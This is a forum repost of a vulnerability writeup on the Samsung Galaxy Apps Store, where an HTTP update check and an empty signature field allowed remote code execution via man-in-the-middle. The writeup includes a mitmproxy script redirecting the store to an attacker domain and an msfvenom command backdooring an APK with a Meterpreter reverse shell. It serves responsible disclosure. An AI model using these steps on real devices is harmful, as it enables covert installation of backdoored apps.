Nytro Posted February 1, 2019 Report Posted February 1, 2019 Writeup – Samsung Galaxy Apps Store RCE via MITM 29 January, 2019 Portuguese version Authors: André Baptista @0xacb, Luís Maia @0xfad0 and Rolando Martins @rolandomartins. The update architecture of a mobile operating system is very important to make sure that the user trusts the software without the risk of being compromised by a hacker during this process. A bug on the Samsung Galaxy Apps Store allowed an attacker to inject unauthorized and arbitrary code, through the interception of periodic update requests made by the Store. Due to the usage of HTTP initiating checks for updates in the Samsung Galaxy Apps Store, an attacker that can control network traffic (e.g. via MITM on the network) can change the URL for load-balancing and modify the requests for the mirrors with user controlled domains. This could allow an attacker to trick Galaxy Apps into using an arbitrary hostname for which the attacker can provide a valid SSL certificate, and simulate the API of the app store to modify existing apps on a given device. An attacker could exploit this vulnerability to achieve Remote Code Execution on Samsung devices. 1. Methodology 1.1 Finding apps with interesting permissions Analyzing samsung mobile entire app ecosystem would be an huge task and searching for apps that would provide relevant permissions to, for example, install other apps, can reduce the vulnerability search space. Taking this approach, we developed a quick tool to dump and enumerate all the apps that would use interesting permissions as to reduce the following analysis of our tools. Using the Androguard tool, we analyzed all the APKs and generated a subset consisting of apps. 1.2 Finding relevant attack surface Although being able to locally install apps without system permissions would be a good vulnerability in itself, we set as a goal to first check system applications that could install other apps thereby providing an RCE if a vulnerability was found. In order to reduce the attack surface even further we assumed that Samsung would use SSL to prevent a MITM when downloading the APKs, so we wrote a few modules that would output the reduced set of APKs to analyze. 1.2.1 Transport Security To create this subset, we compiled a list of classes and methods that would be used to make HTTP/HTTPS requests and we checked all the apps against our list. This provided us with a smaller subset to look at. Although this method would dismiss applications that would not implement SSL and perform unsafe installs from untrusted sources, we like to assume that Samsung would at least try to use SSL when performing dangerous operations. We also intercepted network requests in a controlled environment to identify HTTP requests while playing with those apps. 1.2.2 Application Signature Validation Many applications use SSL as part of their normal operations and the previous subset was still quite large, in order to reduce it even further we filtered all the classes that contained the string “signature”. 1.3 Reverse Engineering Looking at our reduced subset, we picked the most obvious application that could contain vulnerabilities related to package installation as the first application to look at: the Galaxy Apps Store. In order to facilitate the team work and use the amenities of an IDE, we used JADX to decompile the APK to a gradle project and imported it after to Android Studio, which is useful to find class and variable usages and more. 2. Vulnerabilities 2.1 Lack of Transport Security (HTTP) The Galaxy Apps Store retrieves a country-specific URL to be used by the Store. This request occurs sometimes periodically, or when you start the app for the first time or if your MCC (Mobile Country code) changes. However, this request is made using HTTP and not HTTPS, which allows a MITM (man-in-the middle) attack. In this POST request, the device sends information about the device status such as: MCC, MNC, device model and language. In the response, a country URL is returned to be used by Store from then on. The country URL contains a HTTP URL but the app will use HTTPS in the next requests instead. Figura 1: HTTP request Figura 2: HTTP response An attacker may intercept traffic on a given network, change the response of this request and provide an evil country URL to be used by the Galaxy Apps Store. The fake country URL controlled by the attacker can act as a proxy to the actual API and change multiple informations on the fly, such as app names, images, permissions and more. Figura 3: Country URL infection via MITM 2.2 Signature validation At this point, our goal was to achieve RCE by installing arbitrary applications on the device. We analyzed requests of updating or installing applications, and we noticed that we could modify the URL of APK files. However, there was a signature parameter on the XML returned by the original server, but we were able to bypass this validation. When a user wants to install or update an app, the Store requests information about the app. A XML is returned, which contains information about permissions, the APK size, URL to download the APK and signature: <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <SamsungProtocol version="5.5"> ... <value name="contentsSize">72351744</value><value name="installSize">94371840</value> <value name="signature">a0ce9d124dbc9a39f978f455255355684cc78881</value> <value name="downloadUri">https://samsappsbn.vo.llnwd.net/astore_bin/fapbeixk0j/2018/1220/7d1791d56d.apk</value> ... </SamsungProtocol> view raw app-install-response.xml hosted with by GitHub First, we tried to change the downloadUri to a different APK we controlled with a reverse shell, but the Store client didn’t accept it because of the signature value. So, we tried to remove the signature tag from the XML and an error was shown as well. However, if the signature tag was present but with an empty value, i.e., <value name="signature"></value>, the signature would be accepted and a modified APK would be successfully installed. 3. PoC In order to simplify our PoC, we used mitmproxy to intercept and modify requests. We created a script to automatically change the vulnerable HTTP response and infect the client with our fake service: import re SERVER = b"fakegalaxystore.com" def response(flow😞 s = flow.response.content m = re.match(b"http:\/\/[a-z]+-odc\.samsungapps\.com", s) if m: s = s.replace(m.group(0), SERVER) flow.response.content = s print("#### %s" % s) ... view raw samsung-mitm-script.py hosted with by GitHub Once the client gets infected and starts using the fake store URL, applications may try to update and the fake store service can also tell the client that there is new update for a given app. When a client wants to install or update a given app, the attacker server may replace the download URI with a link to a backdoored APK file, which would be installed on the device with extra permissions. Because of lack of validation on the signature field (if XML tag is empty, but not missing, the device blindly accepts the APK from the store) it is possible to modify and infect the requested APKs on the fly, for any app being downloaded from the store without computing signatures. In our PoC we download, store and backdoor the original APK files using msfvenom as they are requested by clients: msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -o backdoor.apk The service that exploits this vulnerability looks like this: Figura 4: Exploitation diagram 4. Conclusion The Store is a privileged app with INSTALL permissions, allowing the attacker to modify the manifest to add more permissions than those shown to the user in the app. The user would be unaware that the installed application will have more permissions than those presented on the install menu from the store, since the permission list can be modified in the server response. Infecting a device with a fake store API URL via MITM, backdooring applications on the fly and bypassing the signature mechanism allowed us to install modified apps and then execute arbitrary code (RCE) on devices that use the Galaxy Apps Store. Affected versions: Samsung Apps Store < 4.3.01.7 Tested on Samsung devices: A5 2017 (A520), Note 8 (N950F), A8 2018 (A530F), S7 (G930F), XCover 4 (G390F), S8 (G950F), S8 Plus (G955F), J7 2017 (J730F) Timeline: 30/05/2018 – Reported to Samsung Bug Bounty program 30/05/2018 – Triaged (Severity: High) 27/09/2018 – Fixed (Galaxy Apps Store 4.3.01.7 released) 16/10/2018 – Bounty awarded 13/12/2018 – CVE entry created https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20135 Sursa: https://www.adyta.pt/en/2019/01/29/writeup-samsung-app-store-rce-via-mitm-2/ Quote
